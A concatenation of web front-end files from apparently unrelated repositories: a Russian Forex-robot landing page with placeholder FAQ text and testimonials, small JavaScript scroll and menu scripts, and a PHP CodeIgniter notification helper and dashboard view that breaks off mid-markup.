Какие действия требуется совершать владельцу Робота?
</div>
<div class="accordion-item-content">
Lorem ipsum dolor sit amet consectetur, adipisicing elit. Doloremque cum pariatur incidunt fugit id repellendus voluptatum,
odio modi quo eum facere doloribus numquam? Ipsam repudiandae, cumque cupiditate rerum deserunt necessitatibus?
</div>
</div>
<div class="accordion-item">
<div class="accordion-item-header">
Что такое форекс робот Alfa Bot?
</div>
<div class="accordion-item-content">
Lorem ipsum dolor sit amet consectetur, adipisicing elit. Doloremque cum pariatur incidunt fugit id repellendus voluptatum,
odio modi quo eum facere doloribus numquam? Ipsam repudiandae, cumque cupiditate rerum deserunt necessitatibus?
</div>
</div>
</div>
</div>
</div>
</section>
<section class="comments">
<div class="container">
<h2 class="comments__title">Ваши комментарии</h2>
<div class="swiper-container">
<div class="swiper-wrapper">
<div class="swiper-slide comments__slide">
<div class="comments__text">
«Благодаря вам, у меня куча лайков и подписчиков!) Мне завидуют все подружки, а я не раскрываю секрет;)) Спасибо огромное Вам!»
<div class="comments__date">25.05.2020</div>
</div>
<div class="comments__wrapper">
<div class="comments__athor">
<div class="comments__athor-name">Екатерина</div>
<div class="comments__athor-status">Студентка</div>
</div>
<div class="comments__athor-photo"><img src="img/content/photo1.png"></div>
</div>
</div>
<div class="swiper-slide comments__slide">
<div class="comments__text">
«Осторожно отношусь ко всем сервисам для раскрутки, т.к. был негативный опыт, одна SmmTouch действительно безопасен. Сотрудничаем и дальше!»
<div class="comments__date">25.05.2020</div>
</div>
<div class="comments__wrapper">
<div class="comments__athor">
<div class="comments__athor-name">Елена</div>
<div class="comments__athor-status">Упровляющий</div>
</div>
<div class="comments__athor-photo"><img src="img/content/photo2.png"></div>
</div>
</div>
<div class="swiper-slide comments__slide">
<div class="comments__text">
«Я очень рад! А дочка сейчас вернется, и она будет счастлива!!! Спасибо большое, буду пользоваться вашим сервисом.»
<div class="comments__date">25.05.2020</div>
</div>
<div class="comments__wrapper">
<div class="comments__athor">
<div class="comments__athor-name">Владислав</div>
<div class="comments__athor-status">Директор</div>
</div>
<div class="comments__athor-photo"><img src="img/content/photo3.png"></div>
</div>
</div>
</div>
<!-- Add Pagination -->
<div class="swiper-pagination"></div>
</div>
</div>
</section>
</main>
<footer class="footer">
<div class="container">
<div class="footer__wrapper">
<div class="footer__col-left">
<ul class="footer__bots-list">
<li>ALFA BOT SMART</li>
<li>ALFA BOT UP1</li>
<li>ALFA BOT FAST</li>
</ul>
<div class="footer__link-list">
<a href="" class="footer__link-item">Главная</a>
<a href="" class="footer__link-item">Контакты</a>
<a href="" class="footer__link-item">О нас</a>
<a href="" class="footer__link-item">Блог</a>
<a href="" class="footer__link-item">Роботы</a>
<a href="" class="footer__link-item">Статья</a>
</div>
<h2 class="footer__logo">Forexro<span>robots</span></h2>
</div>
<div class="footer__col-right">
<span class="footer__tel">+7 (495) 130-80-70</span>
<div class="social-icons social-icons--footer">
<svg class="social-icons__icon">
<use xlink:href="img/svg/sprite/sprite.svg#vk"></use>
</svg>
<svg class="social-icons__icon">
<use xlink:href="img/svg/sprite/sprite.svg#tm"></use>
</svg>
<svg class="social-icons__icon">
<use xlink:href="img/svg/sprite/sprite.svg#ws"></use>
</svg>
</div>
<p class="footer__copyright">
©2020 Торговый робот советник для Форекс
</p>
</div>
</div>
</div>
<a class="back-to-top" title="наверх">↑ наверх</a>
</footer>
<script src="js/main.js"></script>
</body>
</html><file_sep>const height_win = document.documentElement.clientHeight;
const back_to_top_btn = document.querySelector('.back-to-top');
const page_menu_pos = page_menu.offsetTop;
const page_menu_outer_pos = page_menu_pos + page_menu.clientHeight;
const scrollWindow = () => {
setTimeout(() => {
if (window.pageYOffset > page_menu_outer_pos) {
back_to_top_btn.classList.add('back-to-top-visible');
}
else {
back_to_top_btn.classList.remove('back-to-top-visible');
console.log(window.pageYOffset,page_menu_outer_pos );
console.log('del class');
}
},500)
}
const backToTop = () => {
window.scrollTo({top:0, behavior: "smooth"})
}
window.addEventListener('scroll',scrollWindow);
back_to_top_btn.addEventListener('click',backToTop)
<file_sep># Демонстрационный макет [«ФОРЕКСРОБОТС»](https://nlv-nki.github.io/forexrobots/public/index.html)
### Используемые технологии
- HTML5
- SCSS
- адаптивная сетка
- JavaScript
- Gulp
### Быстрые ссылки
* [Главная](https://nlv-nki.github.io/forexrobots/public/index.html)
<file_sep>let hamburger = document.querySelector(".hamburger");
let menu = document.querySelector('.main-nav');
hamburger.addEventListener("click", function() {
this.classList.toggle("is-active");
if(this.classList.contains("is-active")){
menu.style.display = 'block';
}
else {
console.log(this.classList.contains("is-active"));
menu.style.display = 'none';
}
}, false);
|
a28299c2f7c2a8117f50d3650bae99d284a027ce
|
[
"JavaScript",
"HTML",
"Markdown"
] | 6
|
JavaScript
|
nlv-nki/forexrobots
|
3c5f60494ba04bf358354f904908887bbca0a7b7
|
7c090698da31c40cc62230218c0219755f1da3e9
|
refs/heads/master
|
<file_sep>import React from "react";
import "./ExpenseDate.css";
const ExpenseDate = () => {
return (
<div className="expense-date">
<div className="expense-date__month">Month</div>
<div className="expense-date__year">Year</div>
<div className="expense-date__day">Day</div>
</div>
);
};
export default ExpenseDate;
<file_sep>import React from "react";
import "./ChartBar.css";
const ChartBar = () => {
return (
<div className="chart-bar">
<div className="chart-bar__inner">
<div className="chart-bar__fill" style={{ height: "50%" }}></div>
</div>
<div className="chart-bar__label">Jan</div>
</div>
);
};
export default ChartBar;
|
90f6b5b4bf1df52ec68bf1d0087d2dafa6137ee5
|
[
"JavaScript"
] | 2
|
JavaScript
|
mantiiju/expense-react-project-starter
|
96d7591d701dae276bdea90644ad6fd9e9f2dfb9
|
7902510e0e30a679a87cf8bb4a6e0e99f9fcd1a8
|
refs/heads/master
|
<repo_name>surnan/MooSkin<file_sep>/ios-nd-persistence-master/Mooskine/Mooskine-starter/Mooskine/Model/DataController.swift
//
// DataController.swift
// Mooskine
//
// Created by admin on 2/21/19.
// Copyright © 2019 Udacity. All rights reserved.
//
import Foundation
import CoreData
class DataController {
let persistentContainer: NSPersistentContainer
var viewContext: NSManagedObjectContext {
return persistentContainer.viewContext
}
var backgroundContext: NSManagedObjectContext!
init(modelName: String) {
persistentContainer = NSPersistentContainer.init(name: modelName)
///* different ways to set background context tasks
//long-term background context
// let backgroundContext = persistentContainer.newBackgroundContext()
//UIKit must be done on the main queue because it's not thread safe
/*
// ONE of the below perform calls should ALWAYS be utilized on your core data context tasks
//
//multiple temporary backgroundContexts - this can be better. Lets CoreData parallel the changes if it improves efficiency
persistentContainer.performBackgroundTask { (context) in
doSomeSlowWork()
try? context.save()
}
//'perform' will correctly call the appropriate queue for the context
viewContext.perform {
doSomeSlowWork()
}
//perform work synchronously on correct queue
viewContext.performAndWait {
doSomeSlowWork()
}
*/
}
//FetchResultsController automatically observe notifications on viewContext & update their tableviews
//NotesDetailsViewController does NOT have fetchedResultsController
// //the automatic merging setup below means viewContext will merge in updates after the backgroundContext saves
// // & it will generate notifications when it does
// //NotesDetailsViewController will listen for these notifications
func configureContexts(){
backgroundContext = persistentContainer.newBackgroundContext()
viewContext.automaticallyMergesChangesFromParent = true
backgroundContext.automaticallyMergesChangesFromParent = true
//We're giving the priority to 'backgroundContext' when it conflicts with 'viewContext'
backgroundContext.mergePolicy = NSMergePolicy.mergeByPropertyObjectTrump //prefers it's own properties if there's conflict
viewContext.mergePolicy = NSMergePolicy.mergeByPropertyStoreTrump //prefers store if there's conflict
}
func load(completion: (()->Void)? = nil){
persistentContainer.loadPersistentStores { (persistentStoreDescription, error) in
guard error == nil else {
fatalError((error?.localizedDescription)!)
}
}
// autoSaveViewContext(interval: 3) //workds
// autoSaveViewContext() //workds
self.configureContexts()
completion?()
}
}
extension DataController {
func autoSaveViewContext(interval: TimeInterval = 30){
print("firing autoSave")
guard interval > 0 else {
print("Can not set negative autosave interval")
return
}
if viewContext.hasChanges {
try? viewContext.save()
}
DispatchQueue.main.asyncAfter(deadline: .now() + interval) {
self.autoSaveViewContext(interval: interval)
}
}
}
|
9b2b647fe4827bb766ffb316fa59ae161c598a2a
|
[
"Swift"
] | 1
|
Swift
|
surnan/MooSkin
|
9951ef308fd06468a6d7d6063ac933f4cfec74da
|
ee93b9dd6a6935a17a425b61eb9a913e1c3cfd9f
|
refs/heads/master
|
<file_sep>"use strict";
var _slicedToArray = function () { function sliceIterator(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"]) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } return function (arr, i) { if (Array.isArray(arr)) { return arr; } else if (Symbol.iterator in Object(arr)) { return sliceIterator(arr, i); } else { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } }; }();
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//const ROOT = "../../"
//const READYSTATE = [0,1,2,3,4]
//const STATUS
var Hub = function () {
_createClass(Hub, [{
key: "url",
get: function get() {
return this._url;
},
set: function set(url) {
if (typeof url != "string") {
console.error("URL is not valid");
return;
} else this._url = url;
}
}, {
key: "method",
get: function get() {
return this._method;
},
set: function set(m) {
if (m === "GET" || m === "POST") this._method = m;else console.error("Method can be set to GET or POST value");
}
}, {
key: "queryString",
get: function get() {
return this._queryString;
},
set: function set(param) {
var _this = this;
//this._queryString = {}
//debugger
if (param != null) {
if (typeof param === "string") {
//if (param.startsWith("?")) {
if (param.indexOf("?") == 0) {
console.info("Not need to start the queryString with '?'");
param = param.substring(1);
}
param = param.split("&");
//debugger
param.forEach(function (a) {
var b = a.split("=");
_this._queryString[b[0]] = b[1];
});
} else {
this._queryString = Object.assign(this._queryString, param);
}
}
this.queryString.serialize = function () {
var ampersand = "";
var temp = _this.method == "GET" ? "?" : "";
for (var i in _this._queryString) {
if (i != "serialize") {
temp += "" + ampersand + i + "=" + _this._queryString[i];
var ampersand = "&";
}
}
return temp;
};
return this._queryString;
}
}, {
key: "async",
get: function get() {
return this._async;
},
set: function set(isAsync) {
isAsync ? this._async = true : this._async = false;
}
}, {
key: "onerror",
get: function get() {
return this._onerror;
},
set: function set(fn) {
this._onerror = fn;
}
}, {
key: "onsuccess",
get: function get() {
return this._onsuccess;
},
set: function set(fn) {
this._onsuccess = fn;
}
}, {
key: "onstart",
get: function get() {
return this._onstart;
},
set: function set(fn) {
this.req.onloadstart = this._onstart = fn;
}
}, {
key: "ondone",
get: function get() {
return this._ondone;
},
set: function set(fn) {
this._ondone = fn;
}
}, {
key: "onprogress",
get: function get() {
return this._onprogress;
},
set: function set(fn) {
this.req.onprogress = this._onprogress = fn;
}
}], [{
key: "EVENTS",
get: function get() {
return {
onsuccess: "onHubSuccess", onstart: "onHubStart",
ondone: "onHubDone", onerror: "onHubError" };
}
}]);
function Hub(url, method, param, _async, callbacks) {
_classCallCheck(this, Hub);
//super()
this.req = new XMLHttpRequest();
this._onerror = null;
this._onsuccess = null;
this._onstart = null;
this._ondone = null;
this._queryString = {};
this.req.onreadystatechange = this.statechange.bind(this);
this.isHeaderSet = false;
this._events = Hub.EVENTS;
for (var i in this._events) {
var temp = document.createEvent("Event");
temp.initEvent(this._events[i], true, true);
temp.page = this;
this._events[i] = temp;
}
if ((typeof method === "undefined" ? "undefined" : _typeof(method)) == "object") {
checkParam.call(this, method);
method = "GET";
} else if ((typeof param === "undefined" ? "undefined" : _typeof(param)) == "object") {
checkParam.call(this, param);
param = "";
} else if ((typeof _async === "undefined" ? "undefined" : _typeof(_async)) == "object") {
checkParam.call(this, _async);
_async = true;
}
this.url = url || null;
this.method = method || "GET";
this.queryString = param || null;
this.async = _async || true;
function checkParam(obj) {
var _this2 = this;
var arr = Object.keys(obj);
//if (typeof Object.keys(arr)[0] == "function") {
arr.forEach(function (callback) {
if (callback in Hub.EVENTS) {
if (typeof obj[callback] == "function") _this2[callback] = obj[callback];else return console.error("Only functions are permitted as callback ");
} else return console.error("Only " + Object.keys(Hub.EVENTS) + " are permitted as callback");
});
/*}
else
return obj*/
}
}
_createClass(Hub, [{
key: "statechange",
value: function statechange(e) {
//debugger
var req = e.target;
if (req.readyState == req.DONE) {
this.result = {
response: this.req.response,
responseText: this.req.responseText,
responseType: this.req.responseType,
responseURL: this.req.responseURL,
responseXML: this.req.responseXML
};
this.result.responseText.indexOf("debug") == 0 ? document.body.innerHTML = this.result.responseText.replace("debug", "DEBUG<br>") : false;
if (req.status == 200) {
if (this.onsuccess) this.onsuccess(this.result);
document.dispatchEvent(this._events.onsuccess);
}
if (req.status == 404) {
if (this.onerror) this.onerror(this.result);
document.dispatchEvent(this._events.onerror);
}
if (this.ondone) {
this.ondone(this.result);
}
document.dispatchEvent(this._events.ondone);
}
}
}, {
key: "addParam",
value: function addParam() {
for (var _len = arguments.length, param = Array(_len), _key = 0; _key < _len; _key++) {
param[_key] = arguments[_key];
}
if (typeof param[0] == "string") param = param[0] + "=" + param[1];else param = param[0];
this.queryString = param;
return this;
}
}, {
key: "cleanParam",
value: function cleanParam() {
this.queryString = {};
}
}, {
key: "setRequestHeader",
value: function setRequestHeader(header, value) {
this.isHeaderSet = true;
this.req.requestHeader = [header, value];
this.req.setRequestHeader(header, value);
return this;
}
}, {
key: "connect",
value: function connect() {
if (this.url) {
if (this.method == "GET") {
this.req.open("GET", this.url + this.queryString.serialize(), this.async);
this.req.send();
document.dispatchEvent(this._events.onstart);
} else {
this.req.open("POST", this.url, this.async);
if (this.isHeaderSet) {
this.setRequestHeader(this.req.requestHeader[0], this.req.requestHeader[1]);
} else {
this.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
}
this.req.send(this.queryString.serialize());
document.dispatchEvent(this._events.onstart);
}
} else console.warn("Needs an URL to make a request");
return this;
}
}], [{
key: "connect",
value: function connect() {
for (var _len2 = arguments.length, param = Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
param[_key2] = arguments[_key2];
}
//debugger
var _param = _slicedToArray(param, 4);
var url = _param[0];
var method = _param[1];
var param = _param[2];
var _async = _param[3];
var temp = new this(url, method, param, _async).connect();
return temp;
}
}]);
return Hub;
}();
/*let hub = new Hub( `${ROOT}index2.php`,"POST",{
onstart: result=>{console.log("inizio con la callback")},
ondone: result=>{console.log("fine con la callback")},
onsuccess: result=>{console.log("tutto OK con la callback")},
onerror: result=>{console.error("errore con la callback")}
} );
document.addEventListener("onHubStart", result=>{
console.log("inizio con il listener");
})
document.addEventListener("onHubDone", result=>{
console.log("fine con il listener");
})
document.addEventListener("onHubSuccess", result=>{
console.log("tutto OK con il listener");
})
document.addEventListener("onHubError", result=>{
console.error("errore con il listener");
})
hub.connect()*/
/*hub.onerror = (result)=>{
console.error( "Errore" );
}
hub.onsuccess = ( result ) =>{
console.log( "Successo" );
}
hub.onstart = () =>{
console.info( "Iniziato" );
}
hub.ondone = (result) =>{
console.info( "Finito");
}
hub.connect()*/
//let hub = new Hub( "prova","GET",{data:"",t:"c"} );
/*let hub = new Hub( `${ROOT}inde.php`,"POST", "data=&t=c" );
hub.onerror = (result)=>{
console.error( "Errore" );
}
hub.onsuccess = ( result ) =>{
console.log( "Successo" );
}
hub.onstart = () =>{
console.info( "Iniziato" );
}
hub.ondone = (result) =>{
console.info( "Finito");
}*/
/*var i=1;
hub.onprogress = () =>{
console.info( `Progress ${i++}` );
}*/
//hub.connect()
/*let hub = new Hub( `${ROOT}index.php`,"POST", {
onsuccess : ( result ) =>{ console.log(result.response) },
ondone : ( result ) =>{ console.log("end") },
onstart : ( result ) =>{ console.log("start") }
})
*/
/*let hub2 = Hub.connect(`${ROOT}index.php`,
{
onsuccess: (result) => { console.log(result.response) },
ondone: (result) => { console.log("end") },
onstart: (result) => { console.log("start") }
})*/
/*let hub2 = new Hub(`${ROOT}index.php`, "POST"
{
onsuccess: (result) => { console.log(result.response) },
ondone: (result) => { console.log("end") },
onstart: (result) => { console.log("start") }
}
).addParam("data","value").addParam({testo:"testo"}).connect()
hub2.debug;*/
|
6f8f425e6332c83e819e9dbf274426676c34a885
|
[
"JavaScript"
] | 1
|
JavaScript
|
edoardohorse/Hub
|
f180fd6e4f7a912a890f117a12dd30a5e48e1a6e
|
9042b010f525bb1753f1a19cdca240e2353922b1
|
refs/heads/master
|
<file_sep># recomendacao-euclidiana
Criação de um sistema de recomendações por soma euclidiana usando a linguagem python.
primeira parte é criada uma "biblioteca" com as avaliações do usuário
```Python
Usuario = {'Ana':
{'<NAME>': 2.5,
'O Ultimato Bourne': 3.5,
'Star Trek': 3.0,
'Exterminador do Futuro': 3.5,
'Norbit': 2.5,
'Star Wars': 3.0},
'Marcos':
{'<NAME>': 3.0,
'O Ultimato Bourne': 3.5,
'Star Trek': 1.5,
'Exterminador do Futuro': 5.0,
'Star Wars': 3.0,
'Norbit': 3.5},
'Pedro':
{'<NAME>': 2.5,
'O Ultimato Bourne': 3.0,
'Exterminador do Futuro': 3.5,
'Star Wars': 4.0},
'Claudia':
{'O Ultimato Bourne': 3.5,
'Star Trek': 3.0,
'Star Wars': 4.5,
'Exterminador do Futuro': 4.0,
'Norbit': 2.5},
'Adriano':
{'Freddy x Jason': 3.0,
'O Ultimato Bourne': 4.0,
'Star Trek': 2.0,
'Exterminador do Futuro': 3.0,
'Star Wars': 3.0,
'Norbit': 2.0},
'Janaina':
{'Freddy x Jason': 3.0,
'O Ultimato Bourne': 4.0,
'Star Wars': 3.0,
'Exterminador do Futuro': 5.0,
'Norbit': 3.5},
'Leonardo':
{'O Ultimato Bourne':4.5,
'Norbit':1.0,
'Exterminador do Futuro':4.0}
}
```
Segunda parte criamos as avaliações dos filmes
```Python
Filme = {'<NAME> Jason':
{'Ana': 2.5,
'Marcos:': 3.0 ,
'Pedro': 2.5,
'Adriano': 3.0,
'Janaina': 3.0 },
'O Ultimato Bourne':
{'Ana': 3.5,
'Marcos': 3.5,
'Pedro': 3.0,
'Claudia': 3.5,
'Adriano': 4.0,
'Janaina': 4.0,
'Leonardo': 4.5 },
'Star Trek':
{'Ana': 3.0,
'Marcos:': 1.5,
'Claudia': 3.0,
'Adriano': 2.0 },
'Exterminador do Futuro':
{'Ana': 3.5,
'Marcos:': 5.0 ,
'Pedro': 3.5,
'Claudia': 4.0,
'Adriano': 3.0,
'Janaina': 5.0,
'Leonardo': 4.0},
'Norbit':
{'Ana': 2.5,
'Marcos:': 3.0 ,
'Claudia': 2.5,
'Adriano': 2.0,
'Janaina': 3.5,
'Leonardo': 1.0},
'Star Wars':
{'Ana': 3.0,
'Marcos:': 3.5,
'Pedro': 4.0,
'Claudia': 4.5,
'Adriano': 3.0,
'Janaina': 3.0}
}
```
Depois o código com os calculos euclidianos:
```Python
from math import sqrt
def euclidiana(base, usuario1, usuario2):
si = {}
for item in base[usuario1]:
if item in base[usuario2]: si[item] = 1
if len(si) == 0: return 0
soma = sum([pow(base[usuario1][item] - base[usuario2][item], 2)
for item in base[usuario1] if item in base[usuario2]])
return 1/(1 + sqrt(soma))
def getSimilares(base, usuario):
similaridade = [(euclidiana(base, usuario, outro), outro)
for outro in base if outro != usuario]
similaridade.sort()
similaridade.reverse()
return similaridade[0:30]
def getRecomendacoesUsuario(base, usuario):
totais={}
somaSimilaridade={}
for outro in base:
if outro == usuario: continue
similaridade = euclidiana(base, usuario, outro)
if similaridade <= 0: continue
for item in base[outro]:
if item not in base[usuario]:
totais.setdefault(item, 0)
totais[item] += base[outro][item] * similaridade
somaSimilaridade.setdefault(item, 0)
somaSimilaridade[item] += similaridade
rankings=[(total / somaSimilaridade[item], item) for item, total in totais.items()]
rankings.sort()
rankings.reverse()
return rankings[0:30]
def carregaMovieLens(path='C:/ml-100k'):
filmes = {}
for linha in open(path + '/u.item'):
(id, titulo) = linha.split('|')[0:2]
filmes[id] = titulo
# print(filmes)
base = {}
for linha in open(path + '/u.data'):
(usuario, idfilme, nota, tempo) = linha.split('\t')
base.setdefault(usuario, {})
base[usuario][filmes[idfilme]] = float(nota)
return base
def calculaItensSimilares(base):
result = {}
for item in base:
notas = getSimilares(base, item)
result[item] = notas
return result
def getRecomendacoesItens(baseUsuario, similaridadeItens, usuario):
notasUsuario = baseUsuario[usuario]
notas={}
totalSimilaridade={}
for (item, nota) in notasUsuario.items():
for (similaridade, item2) in similaridadeItens[item]:
if item2 in notasUsuario: continue
notas.setdefault(item2, 0)
notas[item2] += similaridade * nota
totalSimilaridade.setdefault(item2,0)
totalSimilaridade[item2] += similaridade
rankings=[(score/totalSimilaridade[item], item) for item, score in notas.items()]
rankings.sort()
rankings.reverse()
return rankings
```
<file_sep>from math import sqrt
def euclidiana(base, usuario1, usuario2):
si = {}
for item in base[usuario1]:
if item in base[usuario2]: si[item] = 1
if len(si) == 0: return 0
soma = sum([pow(base[usuario1][item] - base[usuario2][item], 2)
for item in base[usuario1] if item in base[usuario2]])
return 1/(1 + sqrt(soma))
def getSimilares(base, usuario):
similaridade = [(euclidiana(base, usuario, outro), outro)
for outro in base if outro != usuario]
similaridade.sort()
similaridade.reverse()
return similaridade[0:30]
def getRecomendacoesUsuario(base, usuario):
totais={}
somaSimilaridade={}
for outro in base:
if outro == usuario: continue
similaridade = euclidiana(base, usuario, outro)
if similaridade <= 0: continue
for item in base[outro]:
if item not in base[usuario]:
totais.setdefault(item, 0)
totais[item] += base[outro][item] * similaridade
somaSimilaridade.setdefault(item, 0)
somaSimilaridade[item] += similaridade
rankings=[(total / somaSimilaridade[item], item) for item, total in totais.items()]
rankings.sort()
rankings.reverse()
return rankings[0:30]
def carregaMovieLens(path='C:/ml-100k'):
filmes = {}
for linha in open(path + '/u.item'):
(id, titulo) = linha.split('|')[0:2]
filmes[id] = titulo
# print(filmes)
base = {}
for linha in open(path + '/u.data'):
(usuario, idfilme, nota, tempo) = linha.split('\t')
base.setdefault(usuario, {})
base[usuario][filmes[idfilme]] = float(nota)
return base
def calculaItensSimilares(base):
result = {}
for item in base:
notas = getSimilares(base, item)
result[item] = notas
return result
def getRecomendacoesItens(baseUsuario, similaridadeItens, usuario):
notasUsuario = baseUsuario[usuario]
notas={}
totalSimilaridade={}
for (item, nota) in notasUsuario.items():
for (similaridade, item2) in similaridadeItens[item]:
if item2 in notasUsuario: continue
notas.setdefault(item2, 0)
notas[item2] += similaridade * nota
totalSimilaridade.setdefault(item2,0)
totalSimilaridade[item2] += similaridade
rankings=[(score/totalSimilaridade[item], item) for item, score in notas.items()]
rankings.sort()
rankings.reverse()
return rankings
|
38cb61924701af985c68ee71f2aad1eddcc4169b
|
[
"Markdown",
"Python"
] | 2
|
Markdown
|
nraythz/recomendacao-euclidiana
|
f0b039ffc2cadfc0747731ada0dd62acef071dca
|
a724f1bddef00ed97718088e04e70a8e214ffc4b
|
refs/heads/master
|
<repo_name>MyGitHub0813/Vue_Music<file_sep>/server/app.js
var express = require('express');
var path = require('path');
var favicon = require('serve-favicon');
var logger = require('morgan');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');
var mongodb=require("mongodb");
var MongoClient=mongodb.MongoClient;
var DB_URL = "mongodb://localhost:27017/music";
/*
var find = require('./public/javascripts/find.js');
var index = require('./routes/index');
var users = require('./routes/users');
*/
var app = express();
app.use(express.static(path.join(__dirname, 'music')));
function selectDate(db,callback){
//连接到表
var collection = db.collection('music');
//查询数据
collection.find(function(error, cursor){
var musics=[];
cursor.each(function(error,doc){
if(doc){
musics.push(doc);
}
});
app.get('/all', function(req, res) {
res.header("Access-Control-Allow-Origin", "*");
//find.findByConditions();
res.send(musics);
});
})
};
MongoClient.connect(DB_URL, function(error, db){
console.log('连接到数据库!');
selectDate(db,function(result){
//console.log(result);
var musics=selectDate();
db.close();
})
});
app.listen(8081,"127.0.0.1",function () {
console.log("open")
});
// module.exports = app;
|
6718a7a28c442eaafa09dcc555a4f2ad783f9325
|
[
"JavaScript"
] | 1
|
JavaScript
|
MyGitHub0813/Vue_Music
|
d24d0989db48fdfc1bdf35ca8f19737e344de1de
|
7c658c5d5a8ec5736b5e8b2eff607a236613e8d4
|
refs/heads/master
|
<repo_name>lilleydev/ruby-collaborating-objects-lab-onl01-seng-ft-061520<file_sep>/lib/artist.rb
require 'pry'
class Artist
attr_accessor :name, :songs
@@all = []
def initialize(name)
@name = name
@@all << self
@songs = []
end
def self.all
@@all
end
def add_song(song)
song.artist = self
@songs << song
end
def songs
#returns array of all songs belonging to this artist instance; shoudl get all existing song instances from Song and select the ones associated wit this artist
Song.all.select do |check_artist|
check_artist.artist == self ##implicitly returns what we are looking for! :D
end
end
def self.find_or_create_by_name(artist_name_string)
#take name passed in (string) and 1. find artist instance that has that name or create one if doesn't exist ; return value of method will be an instance of an artist
# binding.pry
if self.find(artist_name_string)
self.find(artist_name_string)
else
self.create(artist_name_string)
end
end
def self.find(name)
@@all.find do |artist|
artist.name == name
end
end
def self.create(name)
artist = self.new(name)
artist
end
def print_songs
#outputs names of all songs by artist
puts @songs.collect {|x| x.name}
end
end
|
50957d1493719b559814f4299dbf5bee5faaf63b
|
[
"Ruby"
] | 1
|
Ruby
|
lilleydev/ruby-collaborating-objects-lab-onl01-seng-ft-061520
|
19df783666ee43526978ed62750354f8936b3291
|
5e89c955f6cbc56613903457c34eca17b051248b
|
refs/heads/master
|
<repo_name>hafijul233/Smart-iPOS<file_sep>/application/libraries/Notification.php
<?php
/**
* Created by PhpStorm.
* User: hafiz
* Date: 30/07/2019
* Time: 2:51 PM
*/
defined('BASEPATH') OR exit('No direct script access allowed');
class notification
{
public function danger_notification() {
if (isset($_SESSION['message'])) {
echo '<div class="alert alert-danger" style="background-color: #dd4b39 !important;"> ' .
'<h3 style="color: #ffffff;"><i class="fa fa-exclamation-triangle"></i> Error!</h3>' .
'<p style="color: #ffffff;">' . $_SESSION['message'] .'</p>' .
'</div>';
}
}
}<file_sep>/application/vendor/autoload.php
<?php
// autoload.php @generated by Composer
require_once __DIR__ . '/composer/autoload_real.php';
return ComposerAutoloaderInit75c99ada2fca7a0d2c410fe640f0d6da::getLoader();
<file_sep>/application/views/home/dashboard_view.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
?>
<div class="row">
<div class="col-xl-12">
<!-- Quick Lunch Card -->
<div class="card mb-4">
<div class="card-header bg-warning pb-1 pb-1">
<h5 class="text-white">Quick Launch</h5>
</div>
<div class="card-body mb-n4">
<div class="row">
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/purchase.png" alt="Purchase">
<div class="card-body mb-0">
<h4 class="card-title text-center mb-0">
Purchase
</h4>
</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/sell.png" alt="Sell">
<div class="card-body mb-0">
<h4 class="card-title text-center mb-0">
Sales
</h4>
</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/stock.png" alt="Stocks">
<div class="card-body mb-0">
<h4 class="card-title text-center mb-0">
Stocks
</h4>
</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/expense.png" alt="Expense">
<div class="card-body mb-0">
<h4 class="card-title text-center mb-0">
Expenses
</h4>
</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/backup.png" alt="Backup">
<div class="card-body mb-0">
<h4 class="card-title text-center mb-0">
Backup
</h4>
</div>
</div>
</a>
</div>
</div>
</div>
</div>
<!-- Report Link -->
<div class="card mb-4">
<div class="card-header bg-primary pb-1 pb-1">
<h5 class="text-white">Report Links</h5>
</div>
<div class="card-body mb-n4">
<div class="row">
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/sale_report.png" alt="Sales Report">
<div class="card-body">
<h4 class="card-title text-center">
Total Sales Report
</h4>
</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/purchase_report.png" alt="Purchase Report">
<div class="card-body">
<h4 class="card-title text-center">
Purchase Report
</h4>
